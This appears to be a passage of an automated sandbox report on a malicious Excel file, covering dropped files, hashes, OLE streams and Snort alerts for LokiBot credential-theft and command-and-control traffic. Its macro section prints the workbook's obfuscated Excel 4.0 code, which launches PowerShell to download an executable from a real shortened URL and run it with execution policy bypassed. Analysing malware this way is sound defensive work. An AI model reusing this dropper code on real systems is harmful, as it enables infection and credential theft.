Preview:	L..................F...........7G..?Ir.....?Ir...... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....&R....Desktop.d......QK.X&R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\216554\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......216554..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	83
Entropy (8bit):	4.598856563846179
Encrypted:	false
SSDEEP:	3:oyBVomMLOxFp2SDxFp2mMLOxFp2v:dj6LOFpDFoLOFI
MD5:	E843814B96F07781747EFD43C6082AEC
SHA1:	C2F6049FE788D4C8B5492EA8531FB23655E52BB1
SHA-256:	7D5160CFBB0EF9CF50C2AA8430F9841E1A6FDCFBA3EAE6D9BD061D0DFEBD1AD5
SHA-512:	BD9EC0999C17CCB13FB893D41EE45F7B1325BDDDF3AD8CC23F599889CFD48EAB515B44E71E645C3773562DD6088C0468D0BC85CE81F7BB7050454BEF4218B757
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..6Cprm97UTl.LNK=0..6Cprm97UTl.LNK=0..[xls]..6Cprm97UTl.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B0BO471L5716CBJPX3UA.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.589329078025861
Encrypted:	false
SSDEEP:	96:chQCsMqaqvsqvJCwoLz8hQCsMqaqvsEHyqvJCworJz1PYXHgf8ImlUVdIu:cyzoLz8ynHnorJz1pf8IDIu
MD5:	21EE1956990A0AFF41BE3228CA473491
SHA1:	11A3F9FF19BDECB2F40618F1DFDDDD0E3B4F048B
SHA-256:	6135B7117C17789ADF7FE18263D645F33F26AD38AE9AA247B058E0B34F1750C7
SHA-512:	68B9AEF1DA6E4476C4EBBA78023F56B54402A4836AC8C4E4144F723B5A55A1690DC11B258FB713F27FEDE093FF62B21389F4E82064E4C2512AEDD457ADC3CAA9
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LE6CBUNRM6U6BL3TCXE0.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.589329078025861
Encrypted:	false
SSDEEP:	96:chQCsMqaqvsqvJCwoLz8hQCsMqaqvsEHyqvJCworJz1PYXHgf8ImlUVdIu:cyzoLz8ynHnorJz1pf8IDIu
MD5:	21EE1956990A0AFF41BE3228CA473491
SHA1:	11A3F9FF19BDECB2F40618F1DFDDDD0E3B4F048B
SHA-256:	6135B7117C17789ADF7FE18263D645F33F26AD38AE9AA247B058E0B34F1750C7
SHA-512:	68B9AEF1DA6E4476C4EBBA78023F56B54402A4836AC8C4E4144F723B5A55A1690DC11B258FB713F27FEDE093FF62B21389F4E82064E4C2512AEDD457ADC3CAA9
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PXJFD74DLMN8ONH9QYBS.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.589329078025861
Encrypted:	false
SSDEEP:	96:chQCsMqaqvsqvJCwoLz8hQCsMqaqvsEHyqvJCworJz1PYXHgf8ImlUVdIu:cyzoLz8ynHnorJz1pf8IDIu
MD5:	21EE1956990A0AFF41BE3228CA473491
SHA1:	11A3F9FF19BDECB2F40618F1DFDDDD0E3B4F048B
SHA-256:	6135B7117C17789ADF7FE18263D645F33F26AD38AE9AA247B058E0B34F1750C7
SHA-512:	68B9AEF1DA6E4476C4EBBA78023F56B54402A4836AC8C4E4144F723B5A55A1690DC11B258FB713F27FEDE093FF62B21389F4E82064E4C2512AEDD457ADC3CAA9
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\Desktop\B5DE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	152144
Entropy (8bit):	7.1465330226768335
Encrypted:	false
SSDEEP:	3072:o4k3hbdlylKsgqopeJBWhZFGkE+cL2Ndhi0olgaSN4PZlsuFPOLYiR6nJE0jjavY:Lk3hbdlylKsgqopeJBWhZFVE+W2NdhiZ
MD5:	0873A1826881700041830C5B6254A989
SHA1:	1B3A26F038342930CF0E86AC6809DE68DCBD057F
SHA-256:	4DB366DD1391F89E6B9628CCD197D22B3C943B41B427E6830D13F8F9508FED25
SHA-512:	D3FAF4AD765F429398B8FAC893ED79EB4F973C3C796BA658453D54200E5495170FF50D50FD67C30991F42E2E2A996318BFA961C5469C6836ACB7B5D534F306E9
Malicious:	false
Preview:	........g2..........................\.p....user B.....a.........=..............ThisWorkbook....................................=........K^)8.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1. .................C.o.n.s.o.l.a.s.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.......<...........C.a.l.i.b.r.i.1.......?...........C.a

C:\Users\user\Documents\12.exe Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	938440
Entropy (8bit):	5.522147302514215
Encrypted:	false
SSDEEP:	6144:BFDg0bJ0DxvkrhDdyquS7xY+dQ7itPEodq0sz83nTMh4lT9K850MlZ1odD9ZxRXK:vZbJ1Iqh7x7tM63ghqaOgDX6paVXuV
MD5:	1D11ABB9DAC9B15823D1BCAD2B8B3675
SHA1:	CB2A4711C5F192EDBDE50229D976FCC95A5A314C
SHA-256:	DCC94B0C8FDF6952BD3018D92C1264651D50AAA7911195BB6F9BC6B97618B191
SHA-512:	FC8844B5C6FACF10830188DA7BB568D70BB9A3351CBE048E96D752E65DB6650739605B95C57D9335B463FC8B7DE846677CFE390800F5D6AA9202B90A153B4064
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...lt...............................L... ........@.. ....................................`.................................dL..W....`...............:............................................................... ............... ..H............text....,... ...................... ..`.rsrc........`.......0..............@..@.reloc...............8..............@..B.................L......H........'..h$......B...P................................................ .........%.....(......... 4........%.....(.........*...0..........(....t....(....t......................................-.(....t....(....t............+5.....................&.............................-.....(....t....&.1..(....t............(....t....&.......................(....t....................-.........................(....t..........(....t....&. &.(....t....&..&(....t....&.........(....t....&..

C:\Users\user\ntrwe.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\12.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	938440
Entropy (8bit):	5.522147302514215
Encrypted:	false
SSDEEP:	6144:BFDg0bJ0DxvkrhDdyquS7xY+dQ7itPEodq0sz83nTMh4lT9K850MlZ1odD9ZxRXK:vZbJ1Iqh7x7tM63ghqaOgDX6paVXuV
MD5:	1D11ABB9DAC9B15823D1BCAD2B8B3675
SHA1:	CB2A4711C5F192EDBDE50229D976FCC95A5A314C
SHA-256:	DCC94B0C8FDF6952BD3018D92C1264651D50AAA7911195BB6F9BC6B97618B191
SHA-512:	FC8844B5C6FACF10830188DA7BB568D70BB9A3351CBE048E96D752E65DB6650739605B95C57D9335B463FC8B7DE846677CFE390800F5D6AA9202B90A153B4064
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...lt...............................L... ........@.. ....................................`.................................dL..W....`...............:............................................................... ............... ..H............text....,... ...................... ..`.rsrc........`.......0..............@..@.reloc...............8..............@..B.................L......H........'..h$......B...P................................................ .........%.....(......... 4........%.....(.........*...0..........(....t....(....t......................................-.(....t....(....t............+5.....................&.............................-.....(....t....&.1..(....t............(....t....&.......................(....t....................-.........................(....t..........(....t....&. &.(....t....&..&(....t....&.........(....t....&..

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Last Saved By: Dell, Create Time/Date: Sun Sep 20 22:17:44 2020, Last Saved Time/Date: Tue Jan 5 14:27:14 2021, Security: 0
Entropy (8bit):	7.166667516407053
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	6Cprm97UTl.xls
File size:	127488
MD5:	29c8b5edc30eadf757b72b0a14857903
SHA1:	77d432fb96a0a453bae30107990c2c9ee0314330
SHA256:	a174abce368b775138c203d66fa8a3845aead2d53d87f220c58a2fe8ee7d9cf0
SHA512:	f3e796ac54c7f64a01aca3ea2ae9c886e11ffdbc103024f34a19fdf4c07a58756375a9b60c4635cfb0790b82339147bf975303cd5f1f1fcbe8e2650d2c85f408
SSDEEP:	3072:U4k3hbdlylKsgqopeJBWhZFGkE+cL2Nd+ioo1gaSNAPZlsWFPO7YiR6PJEcjjaPY:Xk3hbdlylKsgqopeJBWhZFVE+W2Nd+id
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "6Cprm97UTl.xls"

Indicators
Has Summary Info:	True
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1252
Last Saved By:	Dell
Create Time:	2020-09-20 21:17:44
Last Saved Time:	2021-01-05 14:27:14
Security:	0

Document Summary
Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	983040

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.232115956307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b0 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 8b 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.190042678721
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . h . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . . . . . . . . . . . . . D e l l . . . . @ . . . . L . z . . . . @ . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 68 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 08 00 00 00 38 00 00 00 0c 00 00 00 48 00 00 00 0d 00 00 00 54 00 00 00 13 00 00 00 60 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 08 00 00 00 44 65 6c 6c 00 00 00 00 40 00 00 00 00 4c f7 7a

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 116784

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	116784
Entropy:	7.53092053212
Base64 Encoded:	True
Data ASCII:	. . . . . . . . T 8 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . D e l l B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . p ^ ) 8 . . . . . . . X . @ . .
Data Raw:	09 08 10 00 00 06 05 00 54 38 cd 07 c9 00 02 00 06 07 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 04 00 00 44 65 6c 6c 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

=ERROR(FALSE),,,,,,,,,"=GET.CELL(5,M583)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=EXEC(""c""&CHAR(109)&""d /c ""&CHAR(D117)&""o^wer^she^l^l -w 1 (nEw-oB`jecT Ne""&CHAR(116)&CHAR(46)&CHAR(87)&CHAR(101)&""bcLIENt).('Do""&CHAR(119)&""n'+'loadFile').In""&CHAR(118)&""oke('""&CHAR(104)&""ttps://cutt.ly/qjdJoz4','12""&CHAR(46)&""exe')"")",,,,,,,,,"=EXEC(""c""&CHAR(109)&""d /c ""&CHAR(D117)&""o^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item """"12""&CHAR(46)&""exe"""" -Destination """"${enV`:temp}"""""")",,,,,,,,,"=EXEC(""c""&CHAR(109)&""d /c ""&CHAR(D117)&""o^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12""&CHAR(46)&""exe')"")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/05/21-19:05:22.500040	TCP	2021697	ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious	49167	80	192.168.2.22	83.172.144.37
01/05/21-19:06:07.649980	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49168	80	192.168.2.22	185.206.215.56
01/05/21-19:06:07.649980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49168	80	192.168.2.22	185.206.215.56
01/05/21-19:06:07.649980	TCP	2025381	ET TROJAN LokiBot Checkin	49168	80	192.168.2.22	185.206.215.56
01/05/21-19:06:07.649980	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49168	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.163209	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49169	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.163209	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49169	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.163209	TCP	2025381	ET TROJAN LokiBot Checkin	49169	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.163209	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49169	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.473302	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49170	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.473302	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49170	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.473302	TCP	2025381	ET TROJAN LokiBot Checkin	49170	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.473302	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49170	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.645122	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49170	185.206.215.56	192.168.2.22
01/05/21-19:06:08.887025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49171	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.887025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49171	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.887025	TCP	2025381	ET TROJAN LokiBot Checkin	49171	80	192.168.2.22	185.206.215.56
01/05/21-19:06:08.887025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49171	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.065680	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49171	185.206.215.56	192.168.2.22
01/05/21-19:06:09.279376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49172	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.279376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49172	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.279376	TCP	2025381	ET TROJAN LokiBot Checkin	49172	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.279376	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49172	80	192.168.2.22	185.206.215.56
01/05/21-19:06:09.462394	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49172	185.206.215.56	192.168.2.22
01/05/21-19:06:09.669670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49173	80	192.168.2.22	185.206.215.56
